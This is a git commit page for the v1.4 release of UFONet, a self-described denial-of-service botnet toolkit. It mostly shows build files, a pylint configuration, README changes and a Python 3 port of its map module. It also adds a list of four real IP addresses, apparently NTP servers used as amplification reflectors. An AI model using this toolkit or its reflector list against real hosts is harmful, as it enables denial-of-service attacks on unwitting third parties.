Browse Source

release v1.4 - Tim3WaRS

epsylon 5 years ago
parent
commit
cb06334749
100 changed files with 2600 additions and 1193 deletions
  1. 20 0
      .gitattributes
  2. 2 5
      .gitignore
  3. 547 0
      .pylintrc
  4. 0 0
      MANIFEST.in
  5. 34 0
      Makefile
  6. 27 21
      README.md
  7. 0 0
      botnet/aliens.txt
  8. 0 0
      botnet/dns.txt
  9. 0 0
      botnet/dorks.txt
  10. 0 0
      botnet/droids.txt
  11. 4 0
      botnet/ntp.txt
  12. 0 0
      botnet/rpcs.txt
  13. 0 1
      botnet/ucavs.txt
  14. 0 0
      botnet/zombies.txt
  15. 4 2
      core/__init__.py
  16. 47 53
      core/ajaxmap.py
  17. 11 6
      core/doll.py
  18. 39 39
      core/herd.py
  19. BIN
      core/images/aliens/alien1.png
  20. 1 0
      core/images/aliens/alien1.txt
  21. BIN
      core/images/aliens/alien2.png
  22. 1 0
      core/images/aliens/alien2.txt
  23. BIN
      core/images/aliens/alien3.png
  24. 1 0
      core/images/aliens/alien3.txt
  25. BIN
      core/images/aliens/alien4.png
  26. 1 0
      core/images/aliens/alien4.txt
  27. BIN
      core/images/aliens/alien5.png
  28. 1 0
      core/images/aliens/alien5.txt
  29. BIN
      core/images/aliens/alien6.png
  30. 1 0
      core/images/aliens/alien6.txt
  31. BIN
      core/images/aliens/alien7.png
  32. 1 0
      core/images/aliens/alien7.txt
  33. BIN
      core/images/aliens/alien8.png
  34. 1 0
      core/images/aliens/alien8.txt
  35. BIN
      core/images/board.png
  36. 1 0
      core/images/board.txt
  37. BIN
      core/images/commander.png
  38. 1 0
      core/images/commander.txt
  39. BIN
      core/images/crew/link1.png
  40. 1 0
      core/images/crew/link1.txt
  41. BIN
      core/images/crew/link10.png
  42. 1 0
      core/images/crew/link10.txt
  43. BIN
      core/images/crew/link11.png
  44. 1 0
      core/images/crew/link11.txt
  45. BIN
      core/images/crew/link12.png
  46. 1 0
      core/images/crew/link12.txt
  47. BIN
      core/images/crew/link2.png
  48. 1 0
      core/images/crew/link2.txt
  49. BIN
      core/images/crew/link3.png
  50. 1 0
      core/images/crew/link3.txt
  51. BIN
      core/images/crew/link4.png
  52. 1 0
      core/images/crew/link4.txt
  53. BIN
      core/images/crew/link5.png
  54. 1 0
      core/images/crew/link5.txt
  55. BIN
      core/images/crew/link6.png
  56. 1 0
      core/images/crew/link6.txt
  57. BIN
      core/images/crew/link7.png
  58. 1 0
      core/images/crew/link7.txt
  59. BIN
      core/images/crew/link8.png
  60. 1 0
      core/images/crew/link8.txt
  61. BIN
      core/images/crew/link9.png
  62. 1 0
      core/images/crew/link9.txt
  63. BIN
      core/images/favicon.ico
  64. 1 0
      core/images/favicon.txt
  65. BIN
      core/images/mothership.png
  66. 1 0
      core/images/mothership.txt
  67. 1 0
      core/images/ufonet-logo.txt
  68. 0 0
      core/js/ajaxmap.css
  69. 0 0
      core/js/cluster/MarkerCluster.Default.css
  70. 0 0
      core/js/cluster/MarkerCluster.Default.ie.css
  71. 0 0
      core/js/cluster/MarkerCluster.css
  72. 0 0
      core/js/cluster/leaflet.markercluster-src.js
  73. 0 0
      core/js/cluster/leaflet.markercluster.js
  74. 0 0
      core/js/jquery-1.10.2.min.js
  75. BIN
      core/js/leaflet/images/layers-2x.png
  76. BIN
      core/js/leaflet/images/layers.png
  77. BIN
      core/js/leaflet/images/marker-icon-2x.png
  78. BIN
      core/js/leaflet/images/marker-icon.png
  79. BIN
      core/js/leaflet/images/marker-shadow.png
  80. BIN
      core/js/leaflet/images/ufonet-zombie.png
  81. 0 0
      core/js/leaflet/leaflet-src.js
  82. 2 2
      core/js/leaflet/leaflet.css
  83. 0 0
      core/js/leaflet/leaflet.ie.css
  84. 0 0
      core/js/leaflet/leaflet.js
  85. 0 0
      core/js/raphael.js
  86. 0 0
      core/js/rlayer-src.js
  87. 0 0
      core/js/stars.js
  88. 0 0
      core/js/style.css
  89. 0 0
      core/js/ufo-cloud.css
  90. 6 6
      core/js/ufo.js
  91. 1653 981
      core/main.py
  92. 4 2
      core/mods/__init__.py
  93. 8 7
      core/mods/loic.py
  94. 39 11
      core/mods/loris.py
  95. 72 0
      core/mods/monlist.py
  96. 13 18
      core/mods/nuke.py
  97. 16 14
      core/mods/smurf.py
  98. 16 14
      core/mods/spray.py
  99. 11 11
      core/mods/tachyon.py
  100. 0 0
      core/mods/ufosyn.py

+ 20 - 0
.gitattributes

@@ -0,0 +1,20 @@
+*.conf text eol=lf
+*.md text eol=lf
+*.md5 text eol=lf
+*.py text eol=lf
+*.xml text eol=lf
+LICENSE text eol=lf
+COMMITMENT text eol=lf
+
+*_ binary
+*.dll binary
+*.pdf binary
+*.so binary
+*.wav binary
+*.zip binary
+*.x32 binary
+*.x64 binary
+*.exe binary
+*.sln binary
+*.vcproj binary
+

+ 2 - 5
.gitignore

@@ -1,5 +1,2 @@
-build/
-dist/
-*~
-ufonet.egg-info/
-*.pyc
+__pycache__/
+*.py[cod]

+ 547 - 0
.pylintrc

@@ -0,0 +1,547 @@
+# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker
+
+[MASTER]
+
+# Specify a configuration file.
+#rcfile=
+
+# Python code to execute, usually for sys.path manipulation such as
+# pygtk.require().
+init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
+
+# Add files or directories to the blacklist. They should be base names, not
+# paths.
+ignore=
+
+# Pickle collected data for later comparisons.
+persistent=no
+
+# List of plugins (as comma separated values of python modules names) to load,
+# usually to register additional checkers.
+load-plugins=
+
+# Use multiple processes to speed up Pylint.
+# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!!
+jobs=1
+
+# Allow loading of arbitrary C extensions. Extensions are imported into the
+# active Python interpreter and may run arbitrary code.
+unsafe-load-any-extension=no
+
+# A comma-separated list of package or module names from where C extensions may
+# be loaded. Extensions are loading into the active Python interpreter and may
+# run arbitrary code
+extension-pkg-whitelist=
+
+# Allow optimization of some AST trees. This will activate a peephole AST
+# optimizer, which will apply various small optimizations. For instance, it can
+# be used to obtain the result of joining multiple strings with the addition
+# operator. Joining a lot of strings can lead to a maximum recursion error in
+# Pylint and this flag can prevent that. It has one side effect, the resulting
+# AST will be different than the one from reality.
+optimize-ast=no
+
+
+[MESSAGES CONTROL]
+
+# Only show warnings with the listed confidence levels. Leave empty to show
+# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED
+confidence=
+
+# Enable the message, report, category or checker with the given id(s). You can
+# either give multiple identifier separated by comma (,) or put this option
+# multiple time. See also the "--disable" option for examples.
+disable=all
+
+enable=import-error,
+       import-self,
+       reimported,
+       wildcard-import,
+       misplaced-future,
+       deprecated-module,
+       unpacking-non-sequence,
+       invalid-all-object,
+       undefined-all-variable,
+       used-before-assignment,
+       cell-var-from-loop,
+       global-variable-undefined,
+       redefine-in-handler,
+       unused-import,
+       unused-wildcard-import,
+       global-variable-not-assigned,
+       undefined-loop-variable,
+       global-at-module-level,
+       bad-open-mode,
+       redundant-unittest-assert,
+       boolean-datetime
+       deprecated-method,
+       anomalous-unicode-escape-in-string,
+       anomalous-backslash-in-string,
+       not-in-loop,
+       continue-in-finally,
+       abstract-class-instantiated,
+       star-needs-assignment-target,
+       duplicate-argument-name,
+       return-in-init,
+       too-many-star-expressions,
+       nonlocal-and-global,
+       return-outside-function,
+       return-arg-in-generator,
+       invalid-star-assignment-target,
+       bad-reversed-sequence,
+       nonexistent-operator,
+       yield-outside-function,
+       init-is-generator,
+       nonlocal-without-binding,
+       lost-exception,
+       assert-on-tuple,
+       dangerous-default-value,
+       duplicate-key,
+       useless-else-on-loop
+       expression-not-assigned,
+       confusing-with-statement,
+       unnecessary-lambda,
+       pointless-statement,
+       pointless-string-statement,
+       unnecessary-pass,
+       unreachable,
+       using-constant-test,
+       bad-super-call,
+       missing-super-argument,
+       slots-on-old-class,
+       super-on-old-class,
+       property-on-old-class,
+       not-an-iterable,
+       not-a-mapping,
+       format-needs-mapping,
+       truncated-format-string,
+       missing-format-string-key,
+       mixed-format-string,
+       too-few-format-args,
+       bad-str-strip-call,
+       too-many-format-args,
+       bad-format-character,
+       format-combined-specification,
+       bad-format-string-key,
+       bad-format-string,
+       missing-format-attribute,
+       missing-format-argument-key,
+       unused-format-string-argument
+       unused-format-string-key,
+       invalid-format-index,
+       bad-indentation,
+       mixed-indentation,
+       unnecessary-semicolon,
+       lowercase-l-suffix,
+       invalid-encoded-data,
+       unpacking-in-except,
+       import-star-module-level,
+       long-suffix,
+       old-octal-literal,
+       old-ne-operator,
+       backtick,
+       old-raise-syntax,
+       metaclass-assignment,
+       next-method-called,
+       dict-iter-method,
+       dict-view-method,
+       indexing-exception,
+       raising-string,
+       using-cmp-argument,
+       cmp-method,
+       coerce-method,
+       delslice-method,
+       getslice-method,
+       hex-method,
+       nonzero-method,
+       t-method,
+       setslice-method,
+       old-division,
+       logging-format-truncated,
+       logging-too-few-args,
+       logging-too-many-args,
+       logging-unsupported-format,
+       logging-format-interpolation,
+       invalid-unary-operand-type,
+       unsupported-binary-operation,
+       not-callable,
+       redundant-keyword-arg,
+       assignment-from-no-return,
+       assignment-from-none,
+       not-context-manager,
+       repeated-keyword,
+       missing-kwoa,
+       no-value-for-parameter,
+       invalid-sequence-index,
+       invalid-slice-index,
+       unexpected-keyword-arg,
+       unsupported-membership-test,
+       unsubscriptable-object,
+       access-member-before-definition,
+       method-hidden,
+       assigning-non-slot,
+       duplicate-bases,
+       inconsistent-mro,
+       inherit-non-class,
+       invalid-slots,
+       invalid-slots-object,
+       no-method-argument,
+       no-self-argument,
+       unexpected-special-method-signature,
+       non-iterator-returned,
+       arguments-differ,
+       signature-differs,
+       bad-staticmethod-argument,
+       non-parent-init-called,
+       bad-except-order,
+       catching-non-exception,
+       bad-exception-context,
+       notimplemented-raised,
+       raising-bad-type,
+       raising-non-exception,
+       misplaced-bare-raise,
+       duplicate-except,
+       nonstandard-exception,
+       binary-op-exception,
+       not-async-context-manager,
+       yield-inside-async-function
+
+# Needs investigation:
+# abstract-method (might be indicating a bug? probably not though)
+# protected-access (requires some refactoring)
+# attribute-defined-outside-init (requires some refactoring)
+# super-init-not-called (requires some cleanup)
+
+# Things we'd like to enable someday:
+# redefined-builtin (requires a bunch of work to clean up our code first)
+# redefined-outer-name (requires a bunch of work to clean up our code first)
+# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760)
+# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73)
+# unused-argument (need to clean up or code a lot, e.g. prefix unused_?)
+# function-redefined (@overload causes lots of spurious warnings)
+# too-many-function-args (@overload causes spurious warnings... I think)
+# parameter-unpacking (needed for eventual Python 3 compat)
+# print-statement (needed for eventual Python 3 compat)
+# filter-builtin-not-iterating (Python 3)
+# map-builtin-not-iterating (Python 3)
+# range-builtin-not-iterating (Python 3)
+# zip-builtin-not-iterating (Python 3)
+# many others relevant to Python 3
+# unused-variable (a little work to cleanup, is all)
+
+# ...
+[REPORTS]
+
+# Set the output format. Available formats are text, parseable, colorized, msvs
+# (visual studio) and html. You can also give a reporter class, eg
+# mypackage.mymodule.MyReporterClass.
+output-format=parseable
+
+# Put messages in a separate file for each module / package specified on the
+# command line instead of printing them on stdout. Reports (if any) will be
+# written in a file name "pylint_global.[txt|html]".
+files-output=no
+
+# Tells whether to display a full report or only the messages
+reports=no
+
+# Python expression which should return a note less than 10 (10 is the highest
+# note). You have access to the variables errors warning, statement which
+# respectively contain the number of errors / warnings messages and the total
+# number of statements analyzed. This is used by the global evaluation report
+# (RP0004).
+evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
+
+# Template used to display messages. This is a python new-style format string
+# used to format the message information. See doc for all details
+#msg-template=
+
+
+[LOGGING]
+
+# Logging modules to check that the string format arguments are in logging
+# function parameter format
+logging-modules=logging
+
+
+[FORMAT]
+
+# Maximum number of characters on a single line.
+max-line-length=100
+
+# Regexp for a line that is allowed to be longer than the limit.
+ignore-long-lines=^\s*(# )?<?https?://\S+>?$
+
+# Allow the body of an if to be on the same line as the test if there is no
+# else.
+single-line-if-stmt=no
+
+# List of optional constructs for which whitespace checking is disabled. `dict-
+# separator` is used to allow tabulation in dicts, etc.: {1  : 1,\n222: 2}.
+# `trailing-comma` allows a space between comma and closing bracket: (a, ).
+# `empty-line` allows space-only lines.
+no-space-check=trailing-comma,dict-separator
+
+# Maximum number of lines in a module
+max-module-lines=1000
+
+# String used as indentation unit. This is usually "    " (4 spaces) or "\t" (1
+# tab).
+indent-string='    '
+
+# Number of spaces of indent required inside a hanging  or continued line.
+indent-after-paren=4
+
+# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
+expected-line-ending-format=
+
+
+[TYPECHECK]
+
+# Tells whether missing members accessed in mixin class should be ignored. A
+# mixin class is detected if its name ends with "mixin" (case insensitive).
+ignore-mixin-members=yes
+
+# List of module names for which member attributes should not be checked
+# (useful for modules/projects where namespaces are manipulated during runtime
+# and thus existing member attributes cannot be deduced by static analysis. It
+# supports qualified module names, as well as Unix pattern matching.
+ignored-modules=thirdparty.six.moves
+
+# List of classes names for which member attributes should not be checked
+# (useful for classes with attributes dynamically set). This supports can work
+# with qualified names.
+ignored-classes=
+
+# List of members which are set dynamically and missed by pylint inference
+# system, and so shouldn't trigger E1101 when accessed. Python regular
+# expressions are accepted.
+generated-members=
+
+
+[VARIABLES]
+
+# Tells whether we should check for unused import in __init__ files.
+init-import=no
+
+# A regular expression matching the name of dummy variables (i.e. expectedly
+# not used).
+dummy-variables-rgx=_$|dummy
+
+# List of additional names supposed to be defined in builtins. Remember that
+# you should avoid to define new builtins when possible.
+additional-builtins=
+
+# List of strings which can identify a callback function by name. A callback
+# name must start or end with one of those strings.
+callbacks=cb_,_cb
+
+
+[SIMILARITIES]
+
+# Minimum lines number of a similarity.
+min-similarity-lines=4
+
+# Ignore comments when computing similarities.
+ignore-comments=yes
+
+# Ignore docstrings when computing similarities.
+ignore-docstrings=yes
+
+# Ignore imports when computing similarities.
+ignore-imports=no
+
+
+[SPELLING]
+
+# Spelling dictionary name. Available dictionaries: none. To make it working
+# install python-enchant package.
+spelling-dict=
+
+# List of comma separated words that should not be checked.
+spelling-ignore-words=
+
+# A path to a file that contains private dictionary; one word per line.
+spelling-private-dict-file=
+
+# Tells whether to store unknown words to indicated private dictionary in
+# --spelling-private-dict-file option instead of raising a message.
+spelling-store-unknown-words=no
+
+
+[MISCELLANEOUS]
+
+# List of note tags to take in consideration, separated by a comma.
+notes=FIXME,XXX,TODO
+
+
+[BASIC]
+
+# List of builtins function names that should not be used, separated by a comma
+bad-functions=map,filter,input
+
+# Good variable names which should always be accepted, separated by a comma
+good-names=i,j,k,ex,Run,_
+
+# Bad variable names which should always be refused, separated by a comma
+bad-names=foo,bar,baz,toto,tutu,tata
+
+# Colon-delimited sets of names that determine each other's naming style when
+# the name regexes allow several styles.
+name-group=
+
+# Include a hint for the correct naming format with invalid-name
+include-naming-hint=no
+
+# Regular expression matching correct function names
+function-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for function names
+function-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression matching correct variable names
+variable-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for variable names
+variable-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression matching correct constant names
+const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$
+
+# Naming hint for constant names
+const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$
+
+# Regular expression matching correct attribute names
+attr-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for attribute names
+attr-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression matching correct argument names
+argument-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for argument names
+argument-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression matching correct class attribute names
+class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
+
+# Naming hint for class attribute names
+class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
+
+# Regular expression matching correct inline iteration names
+inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$
+
+# Naming hint for inline iteration names
+inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$
+
+# Regular expression matching correct class names
+class-rgx=[A-Z_][a-zA-Z0-9]+$
+
+# Naming hint for class names
+class-name-hint=[A-Z_][a-zA-Z0-9]+$
+
+# Regular expression matching correct module names
+module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
+
+# Naming hint for module names
+module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
+
+# Regular expression matching correct method names
+method-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for method names
+method-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression which should only match function or class names that do
+# not require a docstring.
+no-docstring-rgx=^_
+
+# Minimum line length for functions/classes that require docstrings, shorter
+# ones are exempt.
+docstring-min-length=-1
+
+
+[ELIF]
+
+# Maximum number of nested blocks for function / method body
+max-nested-blocks=5
+
+
+[IMPORTS]
+
+# Deprecated modules which should not be used, separated by a comma
+deprecated-modules=regsub,TERMIOS,Bastion,rexec
+
+# Create a graph of every (i.e. internal and external) dependencies in the
+# given file (report RP0402 must not be disabled)
+import-graph=
+
+# Create a graph of external dependencies in the given file (report RP0402 must
+# not be disabled)
+ext-import-graph=
+
+# Create a graph of internal dependencies in the given file (report RP0402 must
+# not be disabled)
+int-import-graph=
+
+
+[DESIGN]
+
+# Maximum number of arguments for function / method
+max-args=5
+
+# Argument names that match this expression will be ignored. Default to name
+# with leading underscore
+ignored-argument-names=_.*
+
+# Maximum number of locals for function / method body
+max-locals=15
+
+# Maximum number of return / yield for function / method body
+max-returns=6
+
+# Maximum number of branch for function / method body
+max-branches=12
+
+# Maximum number of statements in function / method body
+max-statements=50
+
+# Maximum number of parents for a class (see R0901).
+max-parents=7
+
+# Maximum number of attributes for a class (see R0902).
+max-attributes=7
+
+# Minimum number of public methods for a class (see R0903).
+min-public-methods=2
+
+# Maximum number of public methods for a class (see R0904).
+max-public-methods=20
+
+# Maximum number of boolean expressions in a if statement
+max-bool-expr=5
+
+
+[CLASSES]
+
+# List of method names used to declare (i.e. assign) instance attributes.
+defining-attr-methods=__init__,__new__,setUp
+
+# List of valid names for the first argument in a class method.
+valid-classmethod-first-arg=cls
+
+# List of valid names for the first argument in a metaclass class method.
+valid-metaclass-classmethod-first-arg=mcs
+
+# List of member names, which should be excluded from the protected access
+# warning.
+exclude-protected=_asdict,_fields,_replace,_source,_make
+
+
+[EXCEPTIONS]
+
+# Exceptions that will emit a warning when being caught. Defaults to
+# "Exception"
+overgeneral-exceptions=Exception
+

+ 0 - 0
MANIFEST.in


+ 34 - 0
Makefile

@@ -0,0 +1,34 @@
+# $Id: Makefile,v 1.6 2008/10/29 01:01:35 ghantoos Exp $
+#
+PYTHON=`which python`
+DESTDIR=/
+BUILDIR=$(CURDIR)/debian/ufonet
+PROJECT=ufonet
+VERSION=1.4
+
+all:
+	@echo "make source - Create source package"
+	@echo "make install - Install on local system"
+	@echo "make buildrpm - Generate a rpm package"
+	@echo "make builddeb - Generate a deb package"
+	@echo "make clean - Get rid of scratch and byte files"
+
+source:
+	$(PYTHON) setup.py sdist $(COMPILE)
+
+install:
+	$(PYTHON) setup.py install --root $(DESTDIR) $(COMPILE)
+
+buildrpm:
+	$(PYTHON) setup.py bdist_rpm --post-install=rpm/postinstall --pre-uninstall=rpm/preuninstall
+
+builddeb:
+	$(PYTHON) setup.py sdist $(COMPILE) --dist-dir=../
+	rename -f 's/$(PROJECT)-(.*)\.tar\.gz/$(PROJECT)_$$1\.orig\.tar\.gz/' ../*
+	dpkg-buildpackage -i -I -rfakeroot
+
+clean:
+	$(PYTHON) setup.py clean
+	$(MAKE) -f $(CURDIR)/debian/rules clean
+	rm -rf build/ MANIFEST
+	find . -name '*.pyc' -delete

+ 27 - 21
README.md

@@ -1,4 +1,4 @@
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-welcome_small.png "UFONet Welcome")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-timewars-welcome_small.png "UFONet Welcome")
 
 ----------
 
@@ -26,14 +26,14 @@
 
 #### Installing:
 
-  UFONet runs on many platforms.  It requires Python (>2.7.9) and the following libraries:
+  UFONet runs on many platforms. It requires Python (>=3) and the following libraries:
 
-       python-pycurl - Python bindings to libcurl
-       python-geoip  - Python bindings for the GeoIP IP-to-country resolver library
-       python-whois  - Python module for retrieving WHOIS information - Python 2
-       python-crypto - Cryptographic algorithms and protocols for Python
-       python-requests - elegant and simple HTTP library for Python2, built for human beings
-       python-scapy - Packet generator/sniffer and network scanner/discovery
+       python3-pycurl - Python bindings to libcurl (Python 3)
+       python3-geoip - Python3 bindings for the GeoIP IP-to-country resolver library
+       python3-whois - Python module for retrieving WHOIS information - Python 3
+       python3-crypto - cryptographic algorithms and protocols for Python 3
+       python3-requests - elegant and simple HTTP library for Python3, built for human beings
+       python3-scapy - Packet crafting/sniffing/manipulation/visualization security tool
 
   You can automatically get all required libraries using (as root):
 
@@ -41,24 +41,30 @@
 
   For manual installation, on Debian-based systems (ex: Ubuntu), run: 
 
-       sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests python-scapy
+       sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy
 
   On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
 
-       pip install geoip 
+       pip install GeoIP
+       pip install python-geoip
+       pip install pygeoip
        pip install requests
        pip install pycrypto
-       pip install scapy
+       pip install pycurl
+       pip install whois
+       pip install scapy-python3
 
 ####  Source libs:
 
    * Python: https://www.python.org/downloads/
    * PyCurl: http://pycurl.sourceforge.net/
-   * PyGeoIP: https://pypi.python.org/pypi/GeoIP/
-   * PyWhois: https://pypi.python.org/pypi/whois
+   * GeoIP: https://pypi.python.org/pypi/GeoIP/
+   * Python-geoip: https://pypi.org/project/python-geoip/
+   * Pygeoip: https://pypi.org/project/pygeoip/
+   * Whois: https://pypi.python.org/pypi/whois
    * PyCrypto: https://pypi.python.org/pypi/pycrypto
    * PyRequests: https://pypi.python.org/pypi/requests
-   * PyScapy: https://pypi.org/project/scapy/
+   * Scapy-Python3: https://pypi.org/project/scapy-python3/
    * Leaflet: http://leafletjs.com/ (provided)
 
 ----------
@@ -72,19 +78,19 @@ in the [LICENSE](./docs/LICENSE) file.
 
 ####  Screenshots (current version!):
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-shell1_small.png "UFONet Shell")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-timewars-shell1_small.png "UFONet Shell")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-shell2_small.png "UFONet Shell Board")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-timewars-shell2_small.png "UFONet Shell Board")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-shell3_small.png "UFONet GUI Shell")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-timewars-shell3_small.png "UFONet GUI Shell")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-welcome_small.png "UFONet GUI Welcome")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-timewars-welcome_small.png "UFONet GUI Welcome")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-main_small.png "UFONet GUI Main Panel")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-timewars-main_small.png "UFONet GUI Main Panel")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-botnet_small.png "UFONet GUI Botnet")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-stats_small.png "UFONet GUI General Stats")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-timewars-stats_small.png "UFONet GUI General Stats")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-ranking_small.png "UFONet GUI Ranking")
 
@@ -96,7 +102,7 @@ in the [LICENSE](./docs/LICENSE) file.
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-wargames_small.png "UFONet GUI Wargames")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-attack_small.png "UFONet GUI Attack")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-timewars-attack_small.png "UFONet GUI Attack")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet GeoMap /deploying/")
 

+ 0 - 0
botnet/aliens.txt


+ 0 - 0
botnet/dns.txt


+ 0 - 0
botnet/dorks.txt


+ 0 - 0
botnet/droids.txt


+ 4 - 0
botnet/ntp.txt

@@ -0,0 +1,4 @@
+185.144.161.170
+91.121.7.182
+81.16.47.5
+194.112.182.172

+ 0 - 0
botnet/rpcs.txt


+ 0 - 1
botnet/ucavs.txt

@@ -1,2 +1 @@
-https://downforeveryoneorjustme.com/
 https://website-down.com/

+ 0 - 0
botnet/zombies.txt


+ 4 - 2
core/__init__.py

@@ -1,7 +1,9 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - Denial of Service Toolkit - 2013/2018 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 47 - 53
core/ajaxmap.py

@@ -1,27 +1,28 @@
-#!/usr/bin/env python 
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
-import socket, threading, re, base64, os, time, base64, traceback
-import webbrowser, subprocess, urllib2, json, sys, shlex
-from urlparse import urlparse
-from main import UFONet
-
+import socket, threading, re, os, time, base64, traceback
+import webbrowser, subprocess, json, sys, shlex
+import urllib.request, urllib.error
+from urllib.parse import urlparse as urlparse
+from .main import UFONet
 try:
     import pygeoip
 except:
-    print "\n[Error] [AI] Cannot import lib: pygeoip. \n\n To install it try:\n\n $ 'sudo apt-get install python-geoip' or 'pip install geoip'\n"
+    print("\n[Error] [AI] Cannot import lib: pygeoip. \n\n To install it try:\n\n $ 'sudo apt-get install python3-geoip' or 'pip3 install pygeoip'\n")
     sys.exit(2)
 
 class AjaxMap(object):
     def __init__(self):
-        self.geo_db_mirror1 = 'http://176.28.23.46/bordercheck/maps.tar.gz'  # Turina Server
-        self.geo_db_mirror2 = 'http://83.163.232.95/bordercheck/maps.tar.gz' # Mirror
+        self.geo_db_mirror1 = 'https://turina.space/bordercheck/maps.tar.gz'  # Turina Server
         self._geoip=None
         self._geoasn=None
         self._geoipstatus='nomap'
@@ -50,9 +51,9 @@ class AjaxMap(object):
         if os.path.exists('maps.downloading'):
             if not os.path.exists('maps.downloadmsg'):
                 f=open("maps.downloadmsg","wb")
-                f.write("")
+                f.write("".encode('utf-8'))
                 f.close()
-                print "[Info] [AI] [Control] GeoIP data download started! -> [OK!]\n"
+                print("[Info] [AI] [Control] GeoIP data download started! -> [OK!]\n")
             self._geoipstatus='downloading'
         elif os.path.isdir('maps'):
             if self._geoip == None :
@@ -65,17 +66,17 @@ class AjaxMap(object):
         return self._geoipstatus
 
     def retrieve(self,url,name):
-	try:
-	    handle = urllib2.urlopen(url)
+        try:
+            handle = urllib.request.urlopen(url)
             CHUNK = 16384
-	    with open(name,'wb') as fp:
-	        while True:
-	            chunk = handle.read(CHUNK)
-	            if not chunk:
-	                break
-	            fp.write(chunk)
-	except:
-	    traceback.print_exc()
+            with open(name,'wb') as fp:
+                while True:
+                    chunk = handle.read(CHUNK)
+                    if not chunk:
+                        break
+                    fp.write(chunk)
+        except:
+            traceback.print_exc()
 
     def download_maps(self):
         # generate geolocation values on a map
@@ -88,19 +89,14 @@ class AjaxMap(object):
         f.close()
         self._geoipstatus="downloading"
         try: # mirror 1
-            print "\n[Info] [AI] Fetching maps from 'Mirror 1':", self.geo_db_mirror1 + "\n"
+            print("\n[Info] [AI] Fetching maps from 'Turina Server':", self.geo_db_mirror1 + "\n")
             response = self.retrieve(self.geo_db_mirror1, 'maps.tar.gz')
         except:
-            try: # mirror 2
-                print "[Error] [AI] Mirror 1':", self.geo_db_mirror1 + " Failed! -> [Discarding!]\n"
-                print "[Info] [AI] Fetching maps from 'Mirror 2':", self.geo_db_mirror2 + "\n"
-                response = self.retrieve(self.geo_db_mirror2, 'maps.tar.gz')
-            except:
-                print("[Error] [AI] Something wrong fetching maps from mirrors! -> [Aborting!]"), "\n"
-		traceback.print_exc()
-                return False #sys.exit(2)
+            print(("[Error] [AI] Something wrong fetching maps from remote servers! -> [Aborting!]"), "\n")
+            traceback.print_exc()
+            return False #sys.exit(2)
         subprocess.call(shlex.split('tar zxfv maps.tar.gz'))
-        print "\n[Info] [AI] [Control] GeoIP maps and databases -> [OK!]\n"
+        print("\n[Info] [AI] [Control] GeoIP maps and databases -> [OK!]\n")
         # set pygeoip data sources
